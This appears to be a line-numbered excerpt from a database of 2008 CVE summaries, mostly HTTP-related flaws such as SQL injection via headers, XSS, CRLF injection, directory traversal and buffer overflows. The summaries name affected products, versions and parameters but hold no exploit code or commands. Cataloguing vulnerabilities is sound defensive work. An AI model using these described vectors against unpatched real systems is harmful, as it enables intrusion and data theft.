12396| [CVE-2008-5810] WBPublish (aka WBPublish.exe) in Fujitsu-Siemens WebTransactions 7.0, 7.1, and possibly other versions allows remote attackers to execute arbitrary commands via shell metacharacters in input that is sent through HTTP and improperly used during temporary session data cleanup, possibly related to (1) directory names, (2) template names, and (3) session IDs.
12397| [CVE-2008-5742] Multiple open redirect vulnerabilities in AIST NetCat 3.12 and earlier allow remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via (1) the redirect parameter in a logoff action to modules/auth/index.php or (2) the url parameter to modules/linkmanager/redirect.php. NOTE: this was reported within an "HTTP Response Splitting" section in the original disclosure.
12398| [CVE-2008-5696] Novell NetWare 6.5 before Support Pack 8, when an OES2 Linux server is installed into the NDS tree, does not require a password for the ApacheAdmin console, which allows remote attackers to reconfigure the Apache HTTP Server via console operations.
12399| [CVE-2008-5676] Multiple unspecified vulnerabilities in the ModSecurity (aka mod_security) module 2.5.0 through 2.5.5 for the Apache HTTP Server, when SecCacheTransformations is enabled, allow remote attackers to cause a denial of service (daemon crash) or bypass the product's functionality via unknown vectors related to "transformation caching."
12400| [CVE-2008-5674] Multiple array index errors in the HTTP server in Darkwet Network webcamXP 3.72.440.0 and earlier and beta 4.05.280 and earlier allow remote attackers to cause a denial of service (device crash) and read portions of memory via (1) an invalid camnum parameter to the pocketpc component and (2) an invalid id parameter to the show_gallery_pic component.
12401| [CVE-2008-5645] Directory traversal vulnerability in the media server in Orb Networks Orb before 2.01.0022 allows remote attackers to read arbitrary files via directory traversal sequences in an HTTP GET request.
12402| [CVE-2008-5625] PHP 5 before 5.2.7 does not enforce the error_log safe_mode restrictions when safe_mode is enabled through a php_admin_flag setting in httpd.conf, which allows context-dependent attackers to write to arbitrary files by placing a "php_value error_log" entry in a .htaccess file.
12403| [CVE-2008-5564] Unspecified vulnerability in the media server in Orb Networks Orb before 2.01.0025 allows remote attackers to cause a denial of service (daemon crash) via a malformed HTTP request.
12404| [CVE-2008-5555] Microsoft Internet Explorer 8.0 Beta 2 relies on the XDomainRequestAllowed HTTP header to authorize data exchange between domains, which allows remote attackers to bypass the product's XSS Filter protection mechanism, and conduct XSS and cross-domain attacks, by injecting this header after a CRLF sequence, related to "XDomainRequest Allowed Injection (XAI)." NOTE: the vendor has reportedly stated that the XSS Filter intentionally does not attempt to "address every conceivable XSS attack scenario."
12405| [CVE-2008-5554] The XSS Filter in Microsoft Internet Explorer 8.0 Beta 2 does not properly handle some HTTP headers that appear after a CRLF sequence in a URI, which allows remote attackers to bypass the XSS protection mechanism and conduct XSS or redirection attacks, as demonstrated by the (1) Location and (2) Set-Cookie HTTP headers. NOTE: the vendor has reportedly stated that the XSS Filter intentionally does not attempt to "address every conceivable XSS attack scenario."
12406| [CVE-2008-5553] The XSS Filter in Microsoft Internet Explorer 8.0 Beta 2 disables itself upon encountering a certain X-XSS-Protection HTTP header, which allows remote attackers to bypass the XSS protection mechanism and conduct XSS attacks by injecting this header after a CRLF sequence. NOTE: the vendor has reportedly stated that the XSS Filter intentionally does not attempt to "address every conceivable XSS attack scenario."
12407| [CVE-2008-5519] The JK Connector (aka mod_jk) 1.2.0 through 1.2.26 in Apache Tomcat allows remote attackers to obtain sensitive information via an arbitrary request from an HTTP client, in opportunistic circumstances involving (1) a request from a different client that included a Content-Length header but no POST data or (2) a rapid series of requests, related to noncompliance with the AJP protocol's requirements for requests containing Content-Length headers.
12408| [CVE-2008-5506] Mozilla Firefox 3.x before 3.0.5 and 2.x before 2.0.0.19, Thunderbird 2.x before 2.0.0.19, and SeaMonkey 1.x before 1.1.14 allows remote attackers to bypass the same origin policy by causing the browser to issue an XMLHttpRequest to an attacker-controlled resource that uses a 302 redirect to a resource in a different domain, then reading content from the response, aka "response disclosure."
12409| [CVE-2008-5421] The SSL web administration service in NetWin SmsGate 1.1n and earlier allows remote attackers to cause a denial of service (hang) via (1) a large integer in the Content-Length HTTP header
12410| [CVE-2008-5404] Insecure method vulnerability in the FlexCell.Grid ActiveX control in FlexCell.ocx 5.7.0.1 in FlexCell Grid ActiveX Component allows remote attackers to create and overwrite arbitrary files via the HttpDownloadFile method. NOTE: this could be leveraged for code execution by creating executable files in Startup folders or by accessing files using hcp:// URLs. NOTE: the provenance of this information is unknown
12411| [CVE-2008-5400] Multiple cross-site request forgery (CSRF) vulnerabilities in mvnForum before 1.2.1 GA allow remote attackers to (1) create forums, (2) change account privileges, (3) enable accounts, or (4) disable accounts as a product administrator via unspecified vectors, possibly related to HTTP Referer headers.
12412| [CVE-2008-5297] Buffer overflow in No-IP DUC 2.1.7 and earlier allows remote HTTP servers to execute arbitrary code via a crafted response to a DNS update request, related to a missing length check in the GetNextLine function.
12413| [CVE-2008-5284] The web server in IEA Software RadiusNT and RadiusX 5.1.38 and other versions before 5.1.44, Emerald 5.0.49 and other versions before 5.0.52, Air Marshal 2.0.4 and other versions before 2.0.8, and Radius test client (aka Radlogin) 4.0.20 and earlier, allows remote attackers to cause a denial of service (crash) via an HTTP Content-Length header with a negative value, which triggers a single byte overwrite of memory using a NULL terminator. NOTE: some of these details are obtained from third party information.
12414| [CVE-2008-5278] Cross-site scripting (XSS) vulnerability in the self_link function in in the RSS Feed Generator (wp-includes/feed.php) for WordPress before 2.6.5 allows remote attackers to inject arbitrary web script or HTML via the Host header (HTTP_HOST variable).
12415| [CVE-2008-5266] Cross-site scripting (XSS) vulnerability in configuration/httpListenerEdit.jsf in the GlassFish 2 UR2 b04 webadmin interface in Sun Java System Application Server 9.1_01 build b09d-fcs and 9.1_02 build b04-fcs allows remote attackers to inject arbitrary web script or HTML via the name parameter, a different vector than CVE-2008-2751.
12416| [CVE-2008-5257] webseald in WebSEAL 6.0.0.17 in IBM Tivoli Access Manager for e-business allows remote attackers to cause a denial of service (crash or hang) via HTTP requests, as demonstrated by a McAfee vulnerability scan.
12417| [CVE-2008-5239] xine-lib 1.1.12, and other 1.1.15 and earlier versions, does not properly handle (a) negative and (b) zero values during unspecified read function calls in input_file.c, input_net.c, input_smb.c, and input_http.c, which allows remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via vectors such as (1) a file or (2) an HTTP response, which triggers consequences such as out-of-bounds reads and heap-based buffer overflows.
12418| [CVE-2008-5208] SQL injection vulnerability in sub_votepic.php in the Datsogallery (com_datsogallery) module 1.6 for Joomla! allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header.
12419| [CVE-2008-5189] CRLF injection vulnerability in Ruby on Rails before 2.0.5 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a crafted URL to the redirect_to function.
12420| [CVE-2008-5160] Unspecified vulnerability in MyServer 0.8.11 allows remote attackers to cause a denial of service (daemon crash) via multiple invalid requests with the HTTP GET, DELETE, OPTIONS, and possibly other methods, related to a "204 No Content error."
12421| [CVE-2008-5132] SQL injection vulnerability in inc/ajax/ajax_rating.php in MemHT Portal 4.0.1 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For HTTP header.
12422| [CVE-2008-5093] Cross-site scripting (XSS) vulnerability in the HTTP Protocol Stack (HTTPSTK) in Novell eDirectory before 8.8 SP3 allows remote attackers to inject arbitrary web script or HTML via unknown vectors.
12423| [CVE-2008-5092] Heap-based buffer overflows in Novell eDirectory HTTP protocol stack (HTTPSTK) before 8.8 SP3 have unknown impact and attack vectors related to the (1) HTTP language header and (2) HTTP content-length header.
12424| [CVE-2008-5028] Cross-site request forgery (CSRF) vulnerability in cmd.cgi in (1) Nagios 3.0.5 and (2) op5 Monitor before 4.0.1 allows remote attackers to send commands to the Nagios process, and trigger execution of arbitrary programs by this process, via unspecified HTTP requests.
12425| [CVE-2008-5022] The nsXMLHttpRequest::NotifyEventListeners method in Firefox 3.x before 3.0.4, Firefox 2.x before 2.0.0.18, Thunderbird 2.x before 2.0.0.18, and SeaMonkey 1.x before 1.1.13 allows remote attackers to bypass the same-origin policy and execute arbitrary script via multiple listeners, which bypass the inner window check.
12426| [CVE-2008-5012] Mozilla Firefox 2.x before 2.0.0.18, Thunderbird 2.x before 2.0.0.18, and SeaMonkey 1.x before 1.1.13 do not properly change the source URI when processing a canvas element and an HTTP redirect, which allows remote attackers to bypass the same origin policy and access arbitrary images that are not directly accessible to the attacker. NOTE: this issue can be leveraged to enumerate software on the client by performing redirections related to moz-icon.
12427| [CVE-2008-4829] Multiple buffer overflows in lib/http.c in Streamripper 1.63.5 allow remote attackers to execute arbitrary code via (1) a long "Zwitterion v" HTTP header, related to the http_parse_sc_header function
12428| [CVE-2008-4818] Cross-site scripting (XSS) vulnerability in Adobe Flash Player 9.0.124.0 and earlier allows remote attackers to inject arbitrary web script or HTML via vectors involving HTTP response headers.
12429| [CVE-2008-4796] The _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3 and earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara, (4) mediamate, (5) opendb, (6) pixelpost, and possibly other products, allows remote attackers to execute arbitrary commands via shell metacharacters in https URLs.
12430| [CVE-2008-4678] The HTTP_Request_Parser method in the HTTP Transport component in IBM WebSphere Application Server (WAS) 6.0.2 before 6.0.2.31 allows remote attackers to cause a denial of service (controller 0C4 abend and application hang) via a long HTTP Host header, related to "storage overlay" on the stack and a "parse failure."
12431| [CVE-2008-4644] hits.php in myWebland myStats allows remote attackers to bypass IP address restrictions via a modified X-Forwarded-For HTTP header.
12432| [CVE-2008-4546] Adobe Flash Player before 9.0.277.0 and 10.x before 10.1.53.64, and Adobe AIR before 2.0.2.12610, allows remote web servers to cause a denial of service (NULL pointer dereference and browser crash) by returning a different response when an HTTP request is sent a second time, as demonstrated by two responses that provide SWF files with different SWF version numbers.
12433| [CVE-2008-4541] Heap-based buffer overflow in the FTP subsystem in Sun Java System Web Proxy Server 4.0 through 4.0.7 allows remote attackers to execute arbitrary code via a crafted HTTP GET request.
12434| [CVE-2008-4493] Microsoft PicturePusher ActiveX control (PipPPush.DLL 7.00.0709), as used in Microsoft Digital Image 2006 Starter Edition, allows remote attackers to force the upload of arbitrary files by using the AddString and Post methods and a modified PostURL to construct an HTTP POST request. NOTE: this issue might only be exploitable in limited environments or non-default browser settings.
12435| [CVE-2008-4403] The CGI modules in the server in Trend Micro OfficeScan 8.0 SP1 before build 2439 and 8.0 SP1 Patch 1 before build 3087 allow remote attackers to cause a denial of service (NULL pointer dereference and child process crash) via crafted HTTP headers, related to the "error handling mechanism."
12436| [CVE-2008-4380] The web interface in Samsung DVR SHR2040 allows remote attackers to cause a denial of service (crash) via a malformed HTTP request, related to the filter for configuration properties and "/x" characters.
12437| [CVE-2008-4360] mod_userdir in lighttpd before 1.4.20, when a case-insensitive operating system or filesystem is used, performs case-sensitive comparisons on filename components in configuration options, which might allow remote attackers to bypass intended access restrictions, as demonstrated by a request for a .PHP file when there is a configuration rule for .php files.
12438| [CVE-2008-4359] lighttpd before 1.4.20 compares URIs to patterns in the (1) url.redirect and (2) url.rewrite configuration settings before performing URL decoding, which might allow remote attackers to bypass intended access restrictions, and obtain sensitive information or possibly modify data.
12439| [CVE-2008-4325] lib/viewvc.py in ViewVC 1.0.5 uses the content-type parameter in the HTTP request for the Content-Type header in the HTTP response, which allows remote attackers to cause content to be misinterpreted by the browser via a content-type parameter that is inconsistent with the requested object. NOTE: this issue might not be a vulnerability, since it requires attacker access to the repository that is being viewed.
12440| [CVE-2008-4310] httputils.rb in WEBrick in Ruby 1.8.1 and 1.8.5, as used in Red Hat Enterprise Linux 4 and 5, allows remote attackers to cause a denial of service (CPU consumption) via a crafted HTTP request. NOTE: this issue exists because of an incomplete fix for CVE-2008-3656.
12441| [CVE-2008-4298] Memory leak in the http_request_parse function in request.c in lighttpd before 1.4.20 allows remote attackers to cause a denial of service (memory consumption) via a large number of requests with duplicate request headers.
12442| [CVE-2008-4283] CRLF injection vulnerability in the WebContainer component in IBM WebSphere Application Server (WAS) 5.1.1.19 and earlier 5.1.x versions allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
12443| [CVE-2008-4198] Opera before 9.52, when rendering an http page that has loaded an https page into a frame, displays a padlock icon and offers a security information dialog reporting a secure connection, which might allow remote attackers to trick a user into performing unsafe actions on the http page.
12444| [CVE-2008-4165] admin/user/create_user.php in Kolab Groupware Server 1.0.0 places a user password in an HTTP GET request, which allows local administrators, and possibly remote attackers, to obtain cleartext passwords by reading the ssl_access_log file or the referer string.
12445| [CVE-2008-4128] Multiple cross-site request forgery (CSRF) vulnerabilities in the HTTP Administration component in Cisco IOS 12.4 on the 871 Integrated Services Router allow remote attackers to execute arbitrary commands via (1) a certain "show privilege" command to the /level/15/exec/- URI, and (2) a certain "alias exec" command to the /level/15/exec/-/configure/http URI. NOTE: some of these details are obtained from third party information.
12446| [CVE-2008-4122] Joomla! 1.5.8 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
12447| [CVE-2008-4077] The CGI scripts in (1) LedgerSMB (LSMB) before 1.2.15 and (2) SQL-Ledger 2.8.17 and earlier allow remote attackers to cause a denial of service (resource exhaustion) via an HTTP POST request with a large Content-Length.
12448| [CVE-2008-4033] Cross-domain vulnerability in Microsoft XML Core Services 3.0 through 6.0, as used in Microsoft Expression Web, Office, Internet Explorer, and other products, allows remote attackers to obtain sensitive information from another domain and corrupt the session state via HTTP request header fields, as demonstrated by the Transfer-Encoding field, aka "MSXML Header Request Vulnerability."
12449| [CVE-2008-3909] The administration application in Django 0.91, 0.95, and 0.96 stores unauthenticated HTTP POST requests and processes them after successful authentication occurs, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks and delete or modify data via unspecified requests.
12450| [CVE-2008-3906] CRLF injection vulnerability in Sys.Web in Mono 2.0 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the query string.
12451| [CVE-2008-3878] Stack-based buffer overflow in the Ultra.OfficeControl ActiveX control in OfficeCtrl.ocx 2.0.2008.801 in Ultra Shareware Ultra Office Control allows remote attackers to execute arbitrary code via long strUrl, strFile, and strPostData parameters to the HttpUpload method.
12452| [CVE-2008-3862] Stack-based buffer overflow in CGI programs in the server in Trend Micro OfficeScan 7.3 Patch 4 build 1367 and other builds before 1374, and 8.0 SP1 Patch 1 before build 3110, allows remote attackers to execute arbitrary code via an HTTP POST request containing crafted form data, related to "parsing CGI requests."
12453| [CVE-2008-3845] Multiple SQL injection vulnerabilities in Crafty Syntax Live Help (CSLH) 2.14.6 and earlier allow remote attackers to execute arbitrary SQL commands via the department parameter to (1) is_xmlhttp.php and (2) is_flush.php.
12454| [CVE-2008-3821] Multiple cross-site scripting (XSS) vulnerabilities in the HTTP server in Cisco IOS 11.0 through 12.4 allow remote attackers to inject arbitrary web script or HTML via (1) the query string to the ping program or (2) unspecified other aspects of the URI.
12455| [CVE-2008-3817] Memory leak in Cisco Adaptive Security Appliances (ASA) 5500 Series and PIX Security Appliances 8.0 before 8.0(4) and 8.1 before 8.1(2) allows remote attackers to cause a denial of service (memory consumption) via an unspecified sequence of packets, related to the "initialization code for the hardware crypto accelerator."
12456| [CVE-2008-3812] Cisco IOS 12.4, when IOS firewall Application Inspection Control (AIC) with HTTP Deep Packet Inspection is enabled, allows remote attackers to cause a denial of service (device reload) via a malformed HTTP transit packet.
12457| [CVE-2008-3702] Multiple stack-based buffer overflows in the Animation GIF ActiveX control in JComSoft AniGIF.ocx 1.12 and 2.47, as used in products such as SpeedBit Download Accelerator Plus (DAP) 8.6, allow remote attackers to execute arbitrary code via a long argument to the (1) ReadGIF or (2) ReadGIF2 method.
12458| [CVE-2008-3688] sockethandler.cpp in HTTP Antivirus Proxy (HAVP) 0.88 allows remote attackers to cause a denial of service (hang) by connecting to a non-responsive server, which triggers an infinite loop due to an uninitialized variable.
12459| [CVE-2008-3667] Stack-based buffer overflow in Maxthon Browser 2.0 and earlier allows remote attackers to execute arbitrary code via a long Content-type HTTP header.
12460| [CVE-2008-3663] Squirrelmail 1.4.15 does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
12461| [CVE-2008-3662] Gallery before 1.5.9, and 2.x before 2.2.6, does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
12462| [CVE-2008-3661] Drupal, probably 5.10 and 6.4, does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
12463| [CVE-2008-3656] Algorithmic complexity vulnerability in the WEBrick::HTTPUtils.split_header_value function in WEBrick::HTTP::DefaultFileHandler in WEBrick in Ruby 1.8.5 and earlier, 1.8.6 through 1.8.6-p286, 1.8.7 through 1.8.7-p71, and 1.9 through r18423 allows context-dependent attackers to cause a denial of service (CPU consumption) via a crafted HTTP request that is processed by a backtracking regular expression.
12464| [CVE-2008-3573] The CAPTCHA implementation in (1) Pligg 9.9.5 and possibly (2) Francisco Burzi PHP-Nuke 8.1 provides a critical random number (the ts_random value) within the URL in the SRC attribute of an IMG element, which allows remote attackers to pass the CAPTCHA test via a calculation that combines this value with the current date and the HTTP User-Agent string.
12465| [CVE-2008-3494] 8e6 R3000 Internet Filter 2.0.12.10 allows remote attackers to bypass intended restrictions via an extra HTTP Host header with additional leading text placed before the real Host header.
12466| [CVE-2008-3433] SpeedBit Download Accelerator Plus (DAP) before 8.6.3.9 does not properly verify the authenticity of updates, which allows man-in-the-middle attackers to execute arbitrary code via a Trojan horse update, as demonstrated by evilgrade and DNS cache poisoning.
12467| [CVE-2008-3361] Stack-based buffer overflow in IntelliTamper 2.07 allows remote web sites to execute arbitrary code via a long HTTP Server header.
12468| [CVE-2008-3349] Multiple unspecified vulnerabilities in NetApp Data ONTAP, as used on NetApp and IBM eServer platforms, allow remote attackers to execute arbitrary commands, cause a denial of service (system crash), or obtain sensitive information, probably related to insufficient access control for HTTP requests. NOTE: this may overlap CVE-2008-3160.
12469| [CVE-2008-3257] Stack-based buffer overflow in the Apache Connector (mod_wl) in Oracle WebLogic Server (formerly BEA WebLogic Server) 10.3 and earlier allows remote attackers to execute arbitrary code via a long HTTP version string, as demonstrated by a string after "POST /.jsp" in an HTTP request.
12470| [CVE-2008-3253] Cross-site scripting (XSS) vulnerability in the XenAPI HTTP interfaces in Citrix XenServer Express, Standard, and Enterprise Edition 4.1.0
12471| [CVE-2008-3182] Stack-based buffer overflow in DAP.exe in Download Accelerator Plus (DAP) 7.0.1.3, 8.6.6.3, and other 8.x versions allows user-assisted remote attackers to execute arbitrary code via an M3U (.m3u) file containing a long MP3 URL.
12472| [CVE-2008-3173] Microsoft Internet Explorer allows web sites to set cookies for domains that have a public suffix with more than one dot character, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session, aka "Cross-Site Cooking." NOTE: this issue may exist because of an insufficient fix for CVE-2004-0866.
12473| [CVE-2008-3172] Opera allows web sites to set cookies for country-specific top-level domains that have DNS A records, such as co.tv, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session, aka "Cross-Site Cooking."
12474| [CVE-2008-3171] Apple Safari sends Referer headers containing https URLs to different https web sites, which allows remote attackers to obtain potentially sensitive information by reading Referer log data.
12475| [CVE-2008-3170] Apple Safari allows web sites to set cookies for country-specific top-level domains, such as co.uk and com.au, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session, aka "Cross-Site Cooking," a related issue to CVE-2004-0746, CVE-2004-0866, and CVE-2004-0867.
12476| [CVE-2008-3161] Multiple cross-site scripting (XSS) vulnerabilities in jsp/common/system/debug.jsp in IBM Maximo 4.1 and 5.2 allow remote attackers to inject arbitrary web script or HTML via the (1) Accept, (2) Accept-Language, (3) UA-CPU, (4) Accept-Encoding, (5) User-Agent, or (6) Cookie HTTP header. NOTE: the provenance of this information is unknown
12477| [CVE-2008-3153] SQL injection vulnerability in Triton CMS Pro allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For HTTP header.
12478| [CVE-2008-3102] Mantis 1.1.x through 1.1.2 and 1.2.x through 1.2.0a2 does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
12479| [CVE-2008-3057] Octeth Oempro 3.5.5.1, and possibly other versions before 4, does not set the secure flag for the PHPSESSID cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
12480| [CVE-2008-2932] Heap-based buffer overflow in Red Hat adminutil 1.1.6 allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via % (percent) encoded HTTP input to unspecified CGI scripts in Fedora Directory Server. NOTE: this vulnerability exists because of an incorrect fix for CVE-2008-2929.
12481| [CVE-2008-2928] Multiple buffer overflows in the adminutil library in CGI applications in Red Hat Directory Server 7.1 before SP7 allow remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a crafted Accept-Language HTTP header.
12482| [CVE-2008-2851] Multiple buffer overflows in OFF System before 0.19.14 allow remote attackers to have an unknown impact via unspecified vectors related to "parsing of http headers."
12483| [CVE-2008-2800] Mozilla Firefox before 2.0.0.15 and SeaMonkey before 1.1.10 allow remote attackers to bypass the Same Origin Policy and conduct cross-site scripting (XSS) attacks via vectors involving (1) an event handler attached to an outer window, (2) a SCRIPT element in an unloaded document, or (3) the onreadystatechange handler in conjunction with an XMLHttpRequest.
12484| [CVE-2008-2749] Unspecified vulnerability in cshttpd in Sun Java System Calendar Server 6 and 6.3, and Sun ONE Calendar Server 6.0, when access logging (aka service.http.commandlog.all) is enabled, allows remote attackers to cause a denial of service (daemon crash) via unspecified vectors.
12485| [CVE-2008-2735] The HTTP server in Cisco Adaptive Security Appliance (ASA) 5500 devices 8.0 before 8.0(3)15 and 8.1 before 8.1(1)5, when configured as a clientless SSL VPN endpoint, does not properly process URIs, which allows remote attackers to cause a denial of service (device reload) via a URI in a crafted SSL or HTTP packet, aka Bug ID CSCsq19369.
12486| [CVE-2008-2734] Memory leak in the crypto functionality in Cisco Adaptive Security Appliance (ASA) 5500 devices 7.2 before 7.2(4)2, 8.0 before 8.0(3)14, and 8.1 before 8.1(1)4, when configured as a clientless SSL VPN endpoint, allows remote attackers to cause a denial of service (memory consumption and VPN hang) via a crafted SSL or HTTP packet, aka Bug ID CSCso66472.
12487| [CVE-2008-2666] Multiple directory traversal vulnerabilities in PHP 5.2.6 and earlier allow context-dependent attackers to bypass safe_mode restrictions by creating a subdirectory named http: and then placing ../ (dot dot slash) sequences in an http URL argument to the (1) chdir or (2) ftok function.
12488| [CVE-2008-2665] Directory traversal vulnerability in the posix_access function in PHP 5.2.6 and earlier allows remote attackers to bypass safe_mode restrictions via a .. (dot dot) in an http URL, which results in the URL being canonicalized to a local filename after the safe_mode check has successfully run.
12489| [CVE-2008-2654] Off-by-one error in the read_client function in webhttpd.c in Motion 3.2.10 and earlier might allow remote attackers to execute arbitrary code via a long request to a Motion HTTP Control interface, which triggers a stack-based buffer overflow with some combinations of processor architecture and compiler.
12490| [CVE-2008-2636] The HTTP service on the Cisco Linksys WRH54G with firmware 1.01.03 allows remote attackers to cause a denial of service (management interface outage) or possibly execute arbitrary code via a URI that begins with a "/./" sequence, contains many instances of a "front_page" sequence, and ends with a ".asp" sequence.
12491| [CVE-2008-2631] The WordClient interface in Alt-N Technologies MDaemon 9.6.5 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted HTTP POST request. NOTE: the provenance of this information is unknown
12492| [CVE-2008-2614] Unspecified vulnerability in the Oracle HTTP Server component in Oracle Application Server 9.0.4.3, 10.1.2.3, and 10.1.3.3 has unknown impact and remote attack vectors.
12493| [CVE-2008-2558] CRE Loaded 6.2.13.1 and earlier does not set the "Secure" attribute for cookies that are sent over HTTPS, which might allow remote attackers to sniff the cookies if they are sent over HTTP.
12494| [CVE-2008-2541] Multiple stack-based buffer overflows in the HTTP Gateway Service (icihttp.exe) in CA eTrust Secure Content Manager 8.0 allow remote attackers to execute arbitrary code or cause a denial of service via long FTP responses, related to (1) the file month field in a LIST command
12495| [CVE-2008-2497] CRLF injection vulnerability in Mambo before 4.6.4 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
12496| [CVE-2008-2439] Directory traversal vulnerability in the UpdateAgent function in TmListen.exe in the OfficeScanNT Listener service in the client in Trend Micro OfficeScan 7.3 Patch 4 build 1367 and other builds before 1372, OfficeScan 8.0 SP1 before build 1222, OfficeScan 8.0 SP1 Patch 1 before build 3087, and Worry-Free Business Security 5.0 before build 1220 allows remote attackers to read arbitrary files via directory traversal sequences in an HTTP request. NOTE: some of these details are obtained from third party information.
12497| [CVE-2008-2437] Stack-based buffer overflow in cgiRecvFile.exe in Trend Micro OfficeScan 7.3 patch 4 build 1362 and other builds, OfficeScan 8.0 and 8.0 SP1, and Client Server Messaging Security 3.6 allows remote attackers to execute arbitrary code via an HTTP request containing a long ComputerName parameter.
12498| [CVE-2008-2423] Unspecified vulnerability in Interchange before 5.6.0 and before 5.5.2 allows remote attackers to cause a denial of service via crafted HTTP requests. NOTE: this might overlap CVE-2007-2635.
12499| [CVE-2008-2405] Sun Java Active Server Pages (ASP) Server before 4.0.3 allows remote attackers to execute arbitrary commands via shell metacharacters in HTTP requests to unspecified ASP applications.
12500| [CVE-2008-2384] SQL injection vulnerability in mod_auth_mysql.c in the mod-auth-mysql (aka libapache2-mod-auth-mysql) module for the Apache HTTP Server 2.x, when configured to use a multibyte character set that allows a \ (backslash) as part of the character encoding, allows remote attackers to execute arbitrary SQL commands via unspecified inputs in a login request.
12501| [CVE-2008-2364] The ap_proxy_http_process_response function in mod_proxy_http.c in the mod_proxy module in the Apache HTTP Server 2.0.63 and 2.2.8 does not limit the number of forwarded interim responses, which allows remote HTTP servers to cause a denial of service (memory consumption) via a large number of interim responses.
12502| [CVE-2008-2240] Stack-based buffer overflow in the Web Server service in IBM Lotus Domino before 7.0.3 FP1, and 8.x before 8.0.1, allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a long Accept-Language HTTP header.
12503| [CVE-2008-2234] Multiple buffer overflows in Openwsman 1.2.0 and 2.0.0 allow remote attackers to execute arbitrary code via a crafted "Authorization: Basic" HTTP header.
12504| [CVE-2008-2143] Unspecified versions of Microsoft Outlook Web Access (OWA) use the Cache-Control: no-cache HTTP directive instead of no-store, which might cause web browsers that follow RFC-2616 to cache sensitive information.
12505| [CVE-2008-2040] Stack-based buffer overflow in the HTTP::getAuthUserPass function (core/common/http.cpp) in Peercast 0.1218 and gnome-peercast allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a Basic Authentication string with a long (1) username or (2) password.
12506| [CVE-2008-1924] Unspecified vulnerability in phpMyAdmin before 2.11.5.2, when running on shared hosts, allows remote authenticated users with CREATE table permissions to read arbitrary files via a crafted HTTP POST request, related to use of an undefined UploadDir variable.
12507| [CVE-2008-1905] NMMediaServer.exe in Nero MediaHome 3.3.3.0 and earlier, as used in Nero 8.3.2.1 and earlier, allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a long HTTP request to TCP port 54444, a different vector than CVE-2007-2322.
12508| [CVE-2008-1891] Directory traversal vulnerability in WEBrick in Ruby 1.8.4 and earlier, 1.8.5 before 1.8.5-p231, 1.8.6 before 1.8.6-p230, 1.8.7 before 1.8.7-p22, and 1.9.0 before 1.9.0-2, when using NTFS or FAT filesystems, allows remote attackers to read arbitrary CGI files via a trailing (1) + (plus), (2) %2b (encoded plus), (3) . (dot), (4) %2e (encoded dot), or (5) %20 (encoded space) character in the URI, possibly related to the WEBrick::HTTPServlet::FileHandler and WEBrick::HTTPServer.new functionality and the :DocumentRoot option.
12509| [CVE-2008-1885] Directory traversal vulnerability in the NeffyLauncher 1.0.5 ActiveX control (NeffyLauncher.dll) in CDNetworks Nefficient Download allows remote attackers to download arbitrary code onto a client system via a .. (dot dot) in the SkinPath parameter and a .zip URL in the HttpSkin parameter. NOTE: this can be leveraged for code execution by writing to a Startup folder.
12510| [CVE-2008-1854] Unspecified vulnerability in SmarterMail Web Server (SMWebSvr.exe) in SmarterMail 5.0.2999 allows remote attackers to cause a denial of service (service termination) via a long HTTP (1) GET, (2) HEAD, (3) PUT, (4) POST, or (5) TRACE request. NOTE: the provenance of this information is unknown
12511| [CVE-2008-1840] SQL injection vulnerability in upload.php in Coppermine Photo Gallery (CPG) 1.4.16 and earlier allows remote authenticated users or user-assisted remote HTTP servers to execute arbitrary SQL commands via the Content-Type HTTP response header provided by the HTTP server that is used for an upload.
12512| [CVE-2008-1777] The eDirectory Host Environment service (dhost.exe) in Novell eDirectory 8.8.2 allows remote attackers to cause a denial of service (CPU consumption) via a long HTTP HEAD request to TCP port 8028.
12513| [CVE-2008-1771] Integer overflow in the ws_getpostvars function in Firefly Media Server (formerly mt-daapd) 0.2.4.1 (0.9~r1696-1.2 on Debian) allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP POST request with a large Content-Length.
12514| [CVE-2008-1734] Interpretation conflict in PHP Toolkit before 1.0.1 on Gentoo Linux might allow local users to cause a denial of service (PHP outage) and read contents of PHP scripts by creating a file with a one-letter lowercase alphabetic name, which triggers interpretation of a certain unquoted [a-z] argument as a matching shell glob for this name, rather than interpretation as the literal [a-z] regular-expression string, and consequently blocks the launch of the PHP interpreter within the Apache HTTP Server.
12515| [CVE-2008-1697] Stack-based buffer overflow in ovwparser.dll in HP OpenView Network Node Manager (OV NNM) 7.53, 7.51, and earlier allows remote attackers to execute arbitrary code via a long URI in an HTTP request processed by ovas.exe, as demonstrated by a certain topology/homeBaseView request. NOTE: some of these details are obtained from third party information.
